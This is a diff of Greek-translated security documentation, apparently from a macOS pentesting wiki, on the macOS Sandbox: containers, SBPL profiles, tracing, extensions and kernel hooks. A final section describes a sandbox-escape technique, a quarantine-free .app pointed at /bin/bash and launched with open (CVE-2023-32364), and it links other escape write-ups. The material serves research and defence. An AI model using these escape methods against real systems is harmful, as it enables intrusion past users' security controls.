Αυτή η λειτουργία είναι ιδιαίτερα χρήσιμη για την πρόληψη ορισμένων κατηγοριών ευπαθειών ασφαλείας όπως η **μη εξουσιοδοτημένη πρόσβαση σε αρχεία** ή οι **συνθήκες αγώνα**. Αυτές οι ευπάθειες συμβαίνουν όταν, για παράδειγμα, ένα νήμα έχει πρόσβαση σε μια περιγραφή αρχείου δίνοντας **σε ένα άλλο ευάλωτο νήμα πρόσβαση σε αυτήν** ή όταν ένας περιγραφέας αρχείου **κληρονομείται** από μια ευάλωτη διεργασία παιδί. Ορισμένες συναρτήσεις που σχετίζονται με αυτή τη λειτουργικότητα είναι:
- `guarded_open_np`: Άνοιγμα ενός FD με φύλακα
- `guarded_open_np`: Άνοιγμα ενός FD με έναν φύλακα
- `guarded_close_np`: Κλείσιμο του
- `change_fdguard_np`: Αλλαγή σημαιών φύλακα σε έναν περιγραφέα (ακόμη και αφαίρεση της προστασίας φύλακα)

View File

@ -6,7 +6,7 @@
Το macOS Sandbox (αρχικά ονομαζόταν Seatbelt) **περιορίζει τις εφαρμογές** που εκτελούνται μέσα στο sandbox στις **επιτρεπόμενες ενέργειες που καθορίζονται στο προφίλ Sandbox** με το οποίο εκτελείται η εφαρμογή. Αυτό βοηθά να διασφαλιστεί ότι **η εφαρμογή θα έχει πρόσβαση μόνο σε αναμενόμενους πόρους**.
Οποιαδήποτε εφαρμογή έχει την **εξουσιοδότηση** **`com.apple.security.app-sandbox`** θα εκτελείται μέσα στο sandbox. **Οι δυαδικοί κώδικες της Apple** εκτελούνται συνήθως μέσα σε ένα Sandbox, και όλες οι εφαρμογές από το **App Store έχουν αυτή την εξουσιοδότηση**. Έτσι, πολλές εφαρμογές θα εκτελούνται μέσα στο sandbox.
Οποιαδήποτε εφαρμογή έχει την **εξουσιοδότηση** **`com.apple.security.app-sandbox`** θα εκτελείται μέσα στο sandbox. **Οι δυαδικοί κωδικοί της Apple** εκτελούνται συνήθως μέσα σε ένα Sandbox, και όλες οι εφαρμογές από το **App Store έχουν αυτή την εξουσιοδότηση**. Έτσι, πολλές εφαρμογές θα εκτελούνται μέσα στο sandbox.
Για να ελέγξει τι μπορεί ή δεν μπορεί να κάνει μια διαδικασία, το **Sandbox έχει hooks** σε σχεδόν οποιαδήποτε λειτουργία μπορεί να προσπαθήσει μια διαδικασία (συμπεριλαμβανομένων των περισσότερων syscalls) χρησιμοποιώντας **MACF**. Ωστόσο, **ανάλογα** με τις **εξουσιοδοτήσεις** της εφαρμογής, το Sandbox μπορεί να είναι πιο επιεικής με τη διαδικασία.
@ -15,11 +15,11 @@
- Η **επέκταση πυρήνα** `/System/Library/Extensions/Sandbox.kext`
- Το **ιδιωτικό πλαίσιο** `/System/Library/PrivateFrameworks/AppSandbox.framework`
- Ένας **daemon** που εκτελείται στο userland `/usr/libexec/sandboxd`
- Οι **κοντέινερ** `~/Library/Containers`
- Τα **containers** `~/Library/Containers`
### Containers
Κάθε sandboxed εφαρμογή θα έχει το δικό της κοντέινερ στο `~/Library/Containers/{CFBundleIdentifier}` :
Κάθε sandboxed εφαρμογή θα έχει το δικό της container στο `~/Library/Containers/{CFBundleIdentifier}` :
```bash
ls -l ~/Library/Containers
total 0
@ -54,9 +54,9 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
> [!CAUTION]
> Σημειώστε ότι ακόμη και αν τα symlinks είναι εκεί για να "διαφύγουν" από το Sandbox και να αποκτήσουν πρόσβαση σε άλλους φακέλους, η εφαρμογή πρέπει να **έχει άδειες** για να τους προσπελάσει. Αυτές οι άδειες βρίσκονται μέσα στο **`.plist`** στο `RedirectablePaths`.
> Σημειώστε ότι ακόμη και αν οι symlinks είναι εκεί για να "διαφύγουν" από το Sandbox και να αποκτήσουν πρόσβαση σε άλλους φακέλους, η εφαρμογή πρέπει να **έχει άδειες** για να τους προσπελάσει. Αυτές οι άδειες βρίσκονται μέσα στο **`.plist`** στο `RedirectablePaths`.
Το **`SandboxProfileData`** είναι το συμπιεσμένο προφίλ sandbox CFData που έχει διαφύγει σε B64.
Τα **`SandboxProfileData`** είναι τα συμπιεσμένα δεδομένα προφίλ sandbox CFData που έχουν διαφύγει σε B64.
```bash
# Get container config
## You need FDA to access the file, not even just root can read it
@ -110,7 +110,7 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
## Sandbox Profiles
Τα Sandbox profiles είναι αρχεία ρυθμίσεων που υποδεικνύουν τι θα είναι **επιτρεπτό/απαγορευμένο** σε αυτό το **Sandbox**. Χρησιμοποιεί τη **Sandbox Profile Language (SBPL)**, η οποία χρησιμοποιεί τη γλώσσα προγραμματισμού [**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>).
Τα Sandbox profiles είναι αρχεία ρύθμισης που υποδεικνύουν τι θα είναι **επιτρεπτό/απαγορευμένο** σε αυτό το **Sandbox**. Χρησιμοποιεί τη **Sandbox Profile Language (SBPL)**, η οποία χρησιμοποιεί τη γλώσσα προγραμματισμού [**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>).
Εδώ μπορείτε να βρείτε ένα παράδειγμα:
```scheme
@ -131,9 +131,9 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
)
```
> [!TIP]
> Δείτε αυτήν την [**έρευνα**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **για να ελέγξετε περισσότερες ενέργειες που θα μπορούσαν να επιτραπούν ή να απορριφθούν.**
> Ελέγξτε αυτήν την [**έρευνα**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **για να δείτε περισσότερες ενέργειες που θα μπορούσαν να επιτραπούν ή να απορριφθούν.**
>
> Σημειώστε ότι στην συμπιεσμένη έκδοση ενός προφίλ, τα ονόματα των λειτουργιών αντικαθίστανται από τις καταχωρίσεις τους σε έναν πίνακα που είναι γνωστός από το dylib και το kext, καθιστώντας την συμπιεσμένη έκδοση πιο σύντομη και πιο δύσκολη στην ανάγνωση.
> Σημειώστε ότι στην συμπιεσμένη έκδοση ενός προφίλ, το όνομα των λειτουργιών αντικαθίσταται από τις καταχωρίσεις τους σε έναν πίνακα που είναι γνωστός από το dylib και το kext, καθιστώντας την συμπιεσμένη έκδοση πιο σύντομη και πιο δύσκολη στην ανάγνωση.
Σημαντικές **υπηρεσίες συστήματος** εκτελούνται επίσης μέσα σε δικό τους προσαρμοσμένο **sandbox** όπως η υπηρεσία `mdnsresponder`. Μπορείτε να δείτε αυτά τα προσαρμοσμένα **προφίλ sandbox** μέσα σε:
@ -143,7 +143,7 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
Οι εφαρμογές του **App Store** χρησιμοποιούν το **προφίλ** **`/System/Library/Sandbox/Profiles/application.sb`**. Μπορείτε να ελέγξετε σε αυτό το προφίλ πώς οι εξουσιοδοτήσεις όπως **`com.apple.security.network.server`** επιτρέπουν σε μια διαδικασία να χρησιμοποιεί το δίκτυο.
Στη συνέχεια, ορισμένες **υπηρεσίες daemon της Apple** χρησιμοποιούν διαφορετικά προφίλ που βρίσκονται σε `/System/Library/Sandbox/Profiles/*.sb` ή `/usr/share/sandbox/*.sb`. Αυτά τα sandboxes εφαρμόζονται στη βασική λειτουργία που καλεί το API `sandbox_init_XXX`.
Στη συνέχεια, ορισμένες **υπηρεσίες daemon της Apple** χρησιμοποιούν διαφορετικά προφίλ που βρίσκονται σε `/System/Library/Sandbox/Profiles/*.sb` ή `/usr/share/sandbox/*.sb`. Αυτά τα sandboxes εφαρμόζονται στην κύρια λειτουργία που καλεί το API `sandbox_init_XXX`.
**SIP** είναι ένα προφίλ Sandbox που ονομάζεται platform_profile στο `/System/Library/Sandbox/rootless.conf`.
@ -199,35 +199,35 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{{#endtab}}
{{#endtabs}}
> [!NOTE]
> Σημειώστε ότι το **λογισμικό** που έχει δημιουργηθεί από την **Apple** που τρέχει σε **Windows** **δεν έχει επιπλέον μέτρα ασφαλείας**, όπως η απομόνωση εφαρμογών.
> [!TIP]
> Σημειώστε ότι το **λογισμικό** που έχει συγγραφεί από την **Apple** που τρέχει σε **Windows** **δεν έχει επιπλέον μέτρα ασφαλείας**, όπως η απομόνωση εφαρμογών.
Παραδείγματα παρακάμψεων:
- [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (μπορούν να γράψουν αρχεία εκτός της απομόνωσης των οποίων το όνομα ξεκινά με `~$`).
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (μπορούν να γράφουν αρχεία εκτός της απομόνωσης των οποίων το όνομα αρχίζει με `~$`).
### Ιχνηλάτηση Απομόνωσης
### Sandbox Tracing
#### Μέσω προφίλ
Είναι δυνατόν να ιχνηλατηθούν όλοι οι έλεγχοι που εκτελεί η απομόνωση κάθε φορά που ελέγχεται μια ενέργεια. Για αυτό, απλώς δημιουργήστε το παρακάτω προφίλ:
Είναι δυνατόν να παρακολουθήσετε όλους τους ελέγχους που εκτελεί η απομόνωση κάθε φορά που ελέγχεται μια ενέργεια. Για αυτό, απλώς δημιουργήστε το παρακάτω προφίλ:
```scheme:trace.sb
(version 1)
(trace /tmp/trace.out)
```
Και στη συνέχεια απλώς εκτελέστε κάτι χρησιμοποιώντας αυτό το προφίλ:
Αν και απλά εκτελέσετε κάτι χρησιμοποιώντας αυτό το προφίλ:
```bash
sandbox-exec -f /tmp/trace.sb /bin/ls
```
Στο `/tmp/trace.out` θα μπορείτε να δείτε κάθε έλεγχο sandbox που εκτελέστηκε κάθε φορά που κλήθηκε (οπότε, πολλά διπλότυπα).
Είναι επίσης δυνατό να παρακολουθήσετε το sandbox χρησιμοποιώντας την παράμετρο **`-t`**: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
Είναι επίσης δυνατή η παρακολούθηση του sandbox χρησιμοποιώντας την παράμετρο **`-t`**: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
#### Μέσω API
Η συνάρτηση `sandbox_set_trace_path` που εξάγεται από το `libsystem_sandbox.dylib` επιτρέπει να καθορίσετε ένα όνομα αρχείου καταγραφής όπου θα γράφονται οι έλεγχοι sandbox.\
Είναι επίσης δυνατό να κάνετε κάτι παρόμοιο καλώντας `sandbox_vtrace_enable()` και στη συνέχεια να αποκτήσετε τα σφάλματα καταγραφής από το buffer καλώντας `sandbox_vtrace_report()`.
Είναι επίσης δυνατή η εκτέλεση παρόμοιας διαδικασίας καλώντας το `sandbox_vtrace_enable()` και στη συνέχεια αποκτώντας τα σφάλματα καταγραφής από το buffer καλώντας το `sandbox_vtrace_report()`.
### Επιθεώρηση Sandbox
@ -243,9 +243,9 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
### Προσαρμοσμένο SBPL σε εφαρμογές App Store
Θα μπορούσε να είναι δυνατό για τις εταιρείες να κάνουν τις εφαρμογές τους να εκτελούνται **με προσαρμοσμένα προφίλ Sandbox** (αντί με το προεπιλεγμένο). Πρέπει να χρησιμοποιήσουν την εξουσιοδότηση **`com.apple.security.temporary-exception.sbpl`** η οποία πρέπει να εγκριθεί από την Apple.
Είναι δυνατόν για τις εταιρείες να κάνουν τις εφαρμογές τους να εκτελούνται **με προσαρμοσμένα προφίλ Sandbox** (αντί με το προεπιλεγμένο). Πρέπει να χρησιμοποιήσουν την εξουσιοδότηση **`com.apple.security.temporary-exception.sbpl`** η οποία πρέπει να εγκριθεί από την Apple.
Είναι δυνατό να ελέγξετε τον ορισμό αυτής της εξουσιοδότησης στο **`/System/Library/Sandbox/Profiles/application.sb:`**
Είναι δυνατόν να ελέγξετε τον ορισμό αυτής της εξουσιοδότησης στο **`/System/Library/Sandbox/Profiles/application.sb:`**
```scheme
(sandbox-array-entitlement
"com.apple.security.temporary-exception.sbpl"
@ -253,17 +253,17 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
(let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl)))))
```
Αυτό θα **eval την αλφαβητική σειρά μετά από αυτή την εξουσιοδότηση** ως προφίλ Sandbox.
Αυτό θα **εκτελέσει τη συμβολοσειρά μετά από αυτή την εξουσιοδότηση** ως προφίλ Sandbox.
### Συγκέντρωση & αποσυμπίεση ενός προφίλ Sandbox
Το **`sandbox-exec`** εργαλείο χρησιμοποιεί τις συναρτήσεις `sandbox_compile_*` από `libsandbox.dylib`. Οι κύριες συναρτήσεις που εξάγονται είναι: `sandbox_compile_file` (αναμένει μια διαδρομή αρχείου, παράμετρος `-f`), `sandbox_compile_string` (αναμένει μια αλφαβητική σειρά, παράμετρος `-p`), `sandbox_compile_name` (αναμένει ένα όνομα κοντέινερ, παράμετρος `-n`), `sandbox_compile_entitlements` (αναμένει plist εξουσιοδοτήσεων).
Το **`sandbox-exec`** εργαλείο χρησιμοποιεί τις συναρτήσεις `sandbox_compile_*` από το `libsandbox.dylib`. Οι κύριες συναρτήσεις που εξάγονται είναι: `sandbox_compile_file` (αναμένει μια διαδρομή αρχείου, παράμετρος `-f`), `sandbox_compile_string` (αναμένει μια συμβολοσειρά, παράμετρος `-p`), `sandbox_compile_name` (αναμένει ένα όνομα κοντέινερ, παράμετρος `-n`), `sandbox_compile_entitlements` (αναμένει plist εξουσιοδοτήσεων).
Αυτή η αντίστροφη και [**ανοιχτού κώδικα έκδοση του εργαλείου sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) επιτρέπει στο **`sandbox-exec`** να γράφει σε ένα αρχείο το συγκεντρωμένο προφίλ sandbox.
Επιπλέον, για να περιορίσει μια διαδικασία μέσα σε ένα κοντέινερ, μπορεί να καλέσει `sandbox_spawnattrs_set[container/profilename]` και να περάσει ένα κοντέινερ ή προϋπάρχον προφίλ.
## Debug & Παράκαμψη Sandbox
## Αποσφαλμάτωση & Παράκαμψη Sandbox
Στο macOS, σε αντίθεση με το iOS όπου οι διαδικασίες είναι sandboxed από την αρχή από τον πυρήνα, **οι διαδικασίες πρέπει να επιλέξουν να μπουν στο sandbox μόνες τους**. Αυτό σημαίνει ότι στο macOS, μια διαδικασία δεν περιορίζεται από το sandbox μέχρι να αποφασίσει ενεργά να εισέλθει σε αυτό, αν και οι εφαρμογές του App Store είναι πάντα sandboxed.
@ -275,7 +275,7 @@ macos-sandbox-debug-and-bypass/
## **Επεκτάσεις Sandbox**
Οι επεκτάσεις επιτρέπουν να δοθούν περαιτέρω προνόμια σε ένα αντικείμενο και δίνονται καλώντας μία από τις συναρτήσεις:
Οι επεκτάσεις επιτρέπουν να δοθούν περαιτέρω προνόμια σε ένα αντικείμενο και καλούν μία από τις συναρτήσεις:
- `sandbox_issue_extension`
- `sandbox_extension_issue_file[_with_new_type]`
@ -287,8 +287,8 @@ macos-sandbox-debug-and-bypass/
Οι επεκτάσεις αποθηκεύονται στη δεύτερη υποδοχή ετικέτας MACF που είναι προσβάσιμη από τα διαπιστευτήρια της διαδικασίας. Το ακόλουθο **`sbtool`** μπορεί να έχει πρόσβαση σε αυτές τις πληροφορίες.
Σημειώστε ότι οι επεκτάσεις συνήθως χορηγούνται από επιτρεπόμενες διαδικασίες, για παράδειγμα, το `tccd` θα χορηγήσει το επεκτατικό token του `com.apple.tcc.kTCCServicePhotos` όταν μια διαδικασία προσπαθήσει να έχει πρόσβαση στις φωτογραφίες και επιτρεπόταν σε ένα μήνυμα XPC. Στη συνέχεια, η διαδικασία θα χρειαστεί να καταναλώσει το επεκτατικό token ώστε να προστεθεί σε αυτήν.\
Σημειώστε ότι τα επεκτατικά tokens είναι μακροχρόνια δεκαεξαδικά που κωδικοποιούν τις χορηγούμενες άδειες. Ωστόσο, δεν έχουν τον επιτρεπόμενο PID σκληρά κωδικοποιημένο, πράγμα που σημαίνει ότι οποιαδήποτε διαδικασία με πρόσβαση στο token μπορεί να **καταναλωθεί από πολλές διαδικασίες**.
Σημειώστε ότι οι επεκτάσεις συνήθως χορηγούνται από επιτρεπόμενες διαδικασίες, για παράδειγμα, το `tccd` θα χορηγήσει το token επέκτασης του `com.apple.tcc.kTCCServicePhotos` όταν μια διαδικασία προσπαθήσει να αποκτήσει πρόσβαση στις φωτογραφίες και επιτραπεί σε ένα μήνυμα XPC. Στη συνέχεια, η διαδικασία θα χρειαστεί να καταναλώσει το token επέκτασης ώστε να προστεθεί σε αυτήν.\
Σημειώστε ότι τα tokens επεκτάσεων είναι μακρές δεκαεξαδικές τιμές που κωδικοποιούν τις χορηγούμενες άδειες. Ωστόσο, δεν έχουν τον επιτρεπόμενο PID σκληρά κωδικοποιημένο, πράγμα που σημαίνει ότι οποιαδήποτε διαδικασία με πρόσβαση στο token μπορεί να **καταναλωθεί από πολλές διαδικασίες**.
Σημειώστε ότι οι επεκτάσεις σχετίζονται πολύ και με τις εξουσιοδοτήσεις, οπότε η κατοχή ορισμένων εξουσιοδοτήσεων μπορεί αυτόματα να χορηγήσει ορισμένες επεκτάσεις.
@ -315,12 +315,12 @@ sbtool <pid> all
## mac_syscall
Αυτή η κλήση συστήματος (#381) αναμένει ένα string ως πρώτο επιχείρημα που θα υποδείξει το module που θα εκτελεστεί, και στη συνέχεια έναν κωδικό ως δεύτερο επιχείρημα που θα υποδείξει τη συνάρτηση που θα εκτελεστεί. Στη συνέχεια, το τρίτο επιχείρημα θα εξαρτάται από τη συνάρτηση που εκτελείται.
Αυτή η κλήση συστήματος (#381) αναμένει ένα string ως πρώτο επιχείρημα που θα υποδεικνύει το module που θα εκτελεστεί, και στη συνέχεια έναν κωδικό στο δεύτερο επιχείρημα που θα υποδεικνύει τη συνάρτηση που θα εκτελεστεί. Στη συνέχεια, το τρίτο επιχείρημα θα εξαρτάται από τη συνάρτηση που εκτελείται.
Η κλήση συνάρτησης `___sandbox_ms` περιτυλίγει το `mac_syscall` υποδεικνύοντας στο πρώτο επιχείρημα `"Sandbox"` όπως το `___sandbox_msp` είναι μια περιτύλιξη του `mac_set_proc` (#387). Στη συνέχεια, μερικοί από τους υποστηριζόμενους κωδικούς από το `___sandbox_ms` μπορούν να βρεθούν σε αυτόν τον πίνακα:
Η κλήση συνάρτησης `___sandbox_ms` περιτυλίσσει το `mac_syscall` υποδεικνύοντας στο πρώτο επιχείρημα `"Sandbox"` ακριβώς όπως το `___sandbox_msp` είναι μια περιτύλιξη του `mac_set_proc` (#387). Στη συνέχεια, μερικοί από τους υποστηριζόμενους κωδικούς από το `___sandbox_ms` μπορούν να βρεθούν σε αυτόν τον πίνακα:
- **set_profile (#0)**: Εφαρμόστε ένα συμπιεσμένο ή ονομασμένο προφίλ σε μια διαδικασία.
- **platform_policy (#1)**: Επιβάλλετε ελέγχους πολιτικής συγκεκριμένης πλατφόρμας (διαφέρει μεταξύ macOS και iOS).
- **platform_policy (#1)**: Επιβάλλετε ελέγχους πολιτικής συγκεκριμένους για την πλατφόρμα (διαφέρει μεταξύ macOS και iOS).
- **check_sandbox (#2)**: Εκτελέστε έναν χειροκίνητο έλεγχο μιας συγκεκριμένης λειτουργίας sandbox.
- **note (#3)**: Προσθέτει μια σημείωση σε ένα Sandbox.
- **container (#4)**: Συνδέστε μια σημείωση σε ένα sandbox, συνήθως για αποσφαλμάτωση ή αναγνώριση.
@ -337,7 +337,7 @@ sbtool <pid> all
- **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) Ορίστε μεταδεδομένα λειτουργίας χρήστη στο sandbox.
- **inspect (#16)**: Παρέχετε πληροφορίες αποσφαλμάτωσης σχετικά με μια διαδικασία που είναι sandboxed.
- **dump (#18)**: (macOS 11) Εκτυπώστε το τρέχον προφίλ ενός sandbox για ανάλυση.
- **vtrace (#19)**: Παρακολουθήστε τις λειτουργίες sandbox για παρακολούθηση ή αποσφαλμάτωση.
- **vtrace (#19)**: Ιχνηλατήστε τις λειτουργίες sandbox για παρακολούθηση ή αποσφαλμάτωση.
- **builtin_profile_deactivate (#20)**: (macOS < 11) Απενεργοποιήστε τα ονομασμένα προφίλ (π.χ., `pe_i_can_has_debugger`).
- **check_bulk (#21)**: Εκτελέστε πολλές λειτουργίες `sandbox_check` σε μία μόνο κλήση.
- **reference_retain_by_audit_token (#28)**: Δημιουργήστε μια αναφορά για ένα audit token για χρήση σε ελέγχους sandbox.
@ -353,26 +353,26 @@ sbtool <pid> all
Σημειώστε ότι στο iOS η επέκταση πυρήνα περιέχει **σκληρά κωδικοποιημένα όλα τα προφίλ** μέσα στο τμήμα `__TEXT.__const` για να αποφευχθεί η τροποποίησή τους. Ακολουθούν ορισμένες ενδιαφέρουσες συναρτήσεις από την επέκταση πυρήνα:
- **`hook_policy_init`**: Συνδέει το `mpo_policy_init` και καλείται μετά το `mac_policy_register`. Εκτελεί τις περισσότερες από τις αρχικοποιήσεις του Sandbox. Επίσης, αρχικοποιεί το SIP.
- **`hook_policy_initbsd`**: Ρυθμίζει τη διεπαφή sysctl καταχωρώντας `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` και `security.mac.sandbox.debug_mode` (αν έχει εκκινήσει με `PE_i_can_has_debugger`).
- **`hook_policy_syscall`**: Καλείται από το `mac_syscall` με "Sandbox" ως πρώτο επιχείρημα και κωδικό που υποδεικνύει τη λειτουργία στο δεύτερο. Χρησιμοποιείται μια εναλλαγή για να βρεθεί ο κωδικός που θα εκτελεστεί σύμφωνα με τον ζητούμενο κωδικό.
- **`hook_policy_initbsd`**: Ρυθμίζει τη διεπαφή sysctl καταχωρώντας `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` και `security.mac.sandbox.debug_mode` (αν εκκινείται με `PE_i_can_has_debugger`).
- **`hook_policy_syscall`**: Καλείται από το `mac_syscall` με "Sandbox" ως πρώτο επιχείρημα και κωδικό που υποδεικνύει τη λειτουργία στο δεύτερο. Χρησιμοποιείται ένα switch για να βρεθεί ο κωδικός που θα εκτελεστεί σύμφωνα με τον ζητούμενο κωδικό.
### MACF Hooks
**`Sandbox.kext`** χρησιμοποιεί περισσότερους από εκατό hooks μέσω MACF. Οι περισσότεροι από τους hooks θα ελέγξουν απλώς ορισμένες τυπικές περιπτώσεις που επιτρέπουν την εκτέλεση της ενέργειας, αν όχι, θα καλέσουν **`cred_sb_evalutate`** με τα **διαπιστευτήρια** από το MACF και έναν αριθμό που αντιστοιχεί στην **λειτουργία** που θα εκτελεστεί και ένα **buffer** για την έξοδο.
**`Sandbox.kext`** χρησιμοποιεί περισσότερους από εκατό hooks μέσω MACF. Οι περισσότεροι από τους hooks θα ελέγξουν απλώς ορισμένες τυπικές περιπτώσεις που επιτρέπουν την εκτέλεση της ενέργειας, αν όχι, θα καλέσουν **`cred_sb_evalutate`** με τα **διαπιστευτήρια** από το MACF και έναν αριθμό που αντιστοιχεί στη **λειτουργία** που θα εκτελεστεί και ένα **buffer** για την έξοδο.
Ένα καλό παράδειγμα αυτού είναι η συνάρτηση **`_mpo_file_check_mmap`** που συνδέει το **`mmap`** και η οποία θα αρχίσει να ελέγχει αν η νέα μνήμη θα είναι εγγράψιμη (και αν όχι θα επιτρέψει την εκτέλεση), στη συνέχεια θα ελέγξει αν χρησιμοποιείται για την κοινή μνήμη dyld και αν ναι θα επιτρέψει την εκτέλεση, και τελικά θα καλέσει **`sb_evaluate_internal`** (ή μία από τις περιτυλίξεις της) για να εκτελέσει περαιτέρω ελέγχους επιτρεπόμενης πρόσβασης.
Ένα καλό παράδειγμα αυτού είναι η συνάρτηση **`_mpo_file_check_mmap`** που έχει συνδεθεί με **`mmap`** και θα αρχίσει να ελέγχει αν η νέα μνήμη θα είναι εγγράψιμη (και αν όχι, θα επιτρέψει την εκτέλεση), στη συνέχεια θα ελέγξει αν χρησιμοποιείται για την κοινή μνήμη dyld και αν ναι, θα επιτρέψει την εκτέλεση, και τελικά θα καλέσει **`sb_evaluate_internal`** (ή μία από τις περιτυλίξεις της) για να εκτελέσει περαιτέρω ελέγχους επιτρεπόμενης πρόσβασης.
Επιπλέον, από τους εκατοντάδες hooks που χρησιμοποιεί το Sandbox, υπάρχουν 3 που είναι ιδιαίτερα ενδιαφέροντα:
- `mpo_proc_check_for`: Εφαρμόζει το προφίλ αν χρειάζεται και αν δεν έχει εφαρμοστεί προηγουμένως.
- `mpo_vnode_check_exec`: Καλείται όταν μια διαδικασία φορτώνει το σχετικό δυαδικό, στη συνέχεια εκτελείται έλεγχος προφίλ και επίσης έλεγχος που απαγορεύει τις εκτελέσεις SUID/SGID.
- `mpo_cred_label_update_execve`: Αυτό καλείται όταν ανατίθεται η ετικέτα. Αυτό είναι το μεγαλύτερο καθώς καλείται όταν το δυαδικό έχει φορτωθεί πλήρως αλλά δεν έχει εκτελεστεί ακόμη. Θα εκτελέσει ενέργειες όπως η δημιουργία του αντικειμένου sandbox, η σύνδεση της δομής sandbox στα διαπιστευτήρια kauth, η αφαίρεση πρόσβασης σε mach ports...
- `mpo_cred_label_update_execve`: Αυτό καλείται όταν ανατίθεται η ετικέτα. Αυτό είναι το πιο μακρύ καθώς καλείται όταν το δυαδικό έχει φορτωθεί πλήρως αλλά δεν έχει εκτελεστεί ακόμα. Θα εκτελέσει ενέργειες όπως η δημιουργία του αντικειμένου sandbox, η σύνδεση της δομής sandbox στα διαπιστευτήρια kauth, η αφαίρεση πρόσβασης σε mach ports...
Σημειώστε ότι **`_cred_sb_evalutate`** είναι μια περιτύλιξη πάνω από **`sb_evaluate_internal`** και αυτή η συνάρτηση παίρνει τα διαπιστευτήρια που περνιούνται και στη συνέχεια εκτελεί την αξιολόγηση χρησιμοποιώντας τη συνάρτηση **`eval`** που συνήθως αξιολογεί το **προφίλ πλατφόρμας** που εφαρμόζεται από προεπιλογή σε όλες τις διαδικασίες και στη συνέχεια το **συγκεκριμένο προφίλ διαδικασίας**. Σημειώστε ότι το προφίλ πλατφόρμας είναι ένα από τα κύρια στοιχεία του **SIP** στο macOS.
## Sandboxd
Το Sandbox έχει επίσης έναν daemon χρήστη που εκτελεί την υπηρεσία XPC Mach `com.apple.sandboxd` και δεσμεύει την ειδική θύρα 14 (`HOST_SEATBELT_PORT`) την οποία χρησιμοποιεί η επέκταση πυρήνα για να επικοινωνήσει μαζί της. Εκθέτει ορισμένες συναρτήσεις χρησιμοποιώντας MIG.
Το Sandbox έχει επίσης έναν daemon χρήστη που εκτελείται εκθέτοντας την υπηρεσία XPC Mach `com.apple.sandboxd` και δεσμεύοντας την ειδική θύρα 14 (`HOST_SEATBELT_PORT`) την οποία χρησιμοποιεί η επέκταση πυρήνα για να επικοινωνήσει μαζί της. Εκθέτει ορισμένες συναρτήσεις χρησιμοποιώντας MIG.
## References

View File

@ -10,25 +10,25 @@
Ο μεταγλωττιστής θα συνδέσει το `/usr/lib/libSystem.B.dylib` με το δυαδικό αρχείο.
Στη συνέχεια, **`libSystem.B`** θα καλεί άλλες πολλές συναρτήσεις μέχρι να στείλει η **`xpc_pipe_routine`** τις εξουσιοδοτήσεις της εφαρμογής στο **`securityd`**. Ο Securityd ελέγχει αν η διαδικασία θα πρέπει να είναι σε καραντίνα μέσα στο Sandbox, και αν ναι, θα μπει σε καραντίνα.\
Στη συνέχεια, **`libSystem.B`** θα καλεί πολλές άλλες συναρτήσεις μέχρι το **`xpc_pipe_routine`** να στείλει τις εξουσιοδοτήσεις της εφαρμογής στο **`securityd`**. Το Securityd ελέγχει αν η διαδικασία θα πρέπει να είναι σε καραντίνα μέσα στο Sandbox, και αν ναι, θα τεθεί σε καραντίνα.\
Τέλος, το sandbox θα ενεργοποιηθεί με μια κλήση στο **`__sandbox_ms`** που θα καλέσει το **`__mac_syscall`**.
## Possible Bypasses
### Bypassing quarantine attribute
**Τα αρχεία που δημιουργούνται από διαδικασίες που είναι σε sandbox** προστίθεται το **quarantine attribute** για να αποτραπεί η διαφυγή από το sandbox. Ωστόσο, αν καταφέρετε να **δημιουργήσετε έναν φάκελο `.app` χωρίς το quarantine attribute** μέσα σε μια εφαρμογή που είναι σε sandbox, θα μπορούσατε να κάνετε το δυαδικό αρχείο της εφαρμογής να δείχνει στο **`/bin/bash`** και να προσθέσετε κάποιες μεταβλητές περιβάλλοντος στο **plist** για να εκμεταλλευτείτε το **`open`** για να **εκκινήσετε τη νέα εφαρμογή χωρίς sandbox**.
**Τα αρχεία που δημιουργούνται από διαδικασίες που είναι σε sandbox** προστίθεται το **χαρακτηριστικό καραντίνας** για να αποτραπεί η διαφυγή από το sandbox. Ωστόσο, αν καταφέρετε να **δημιουργήσετε έναν φάκελο `.app` χωρίς το χαρακτηριστικό καραντίνας** μέσα σε μια εφαρμογή που είναι σε sandbox, θα μπορούσατε να κάνετε το δυαδικό αρχείο της εφαρμογής να δείχνει στο **`/bin/bash`** και να προσθέσετε κάποιες μεταβλητές περιβάλλοντος στο **plist** για να εκμεταλλευτείτε το **`open`** για να **εκκινήσετε τη νέα εφαρμογή χωρίς sandbox**.
Αυτό έγινε στο [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.**
> [!CAUTION]
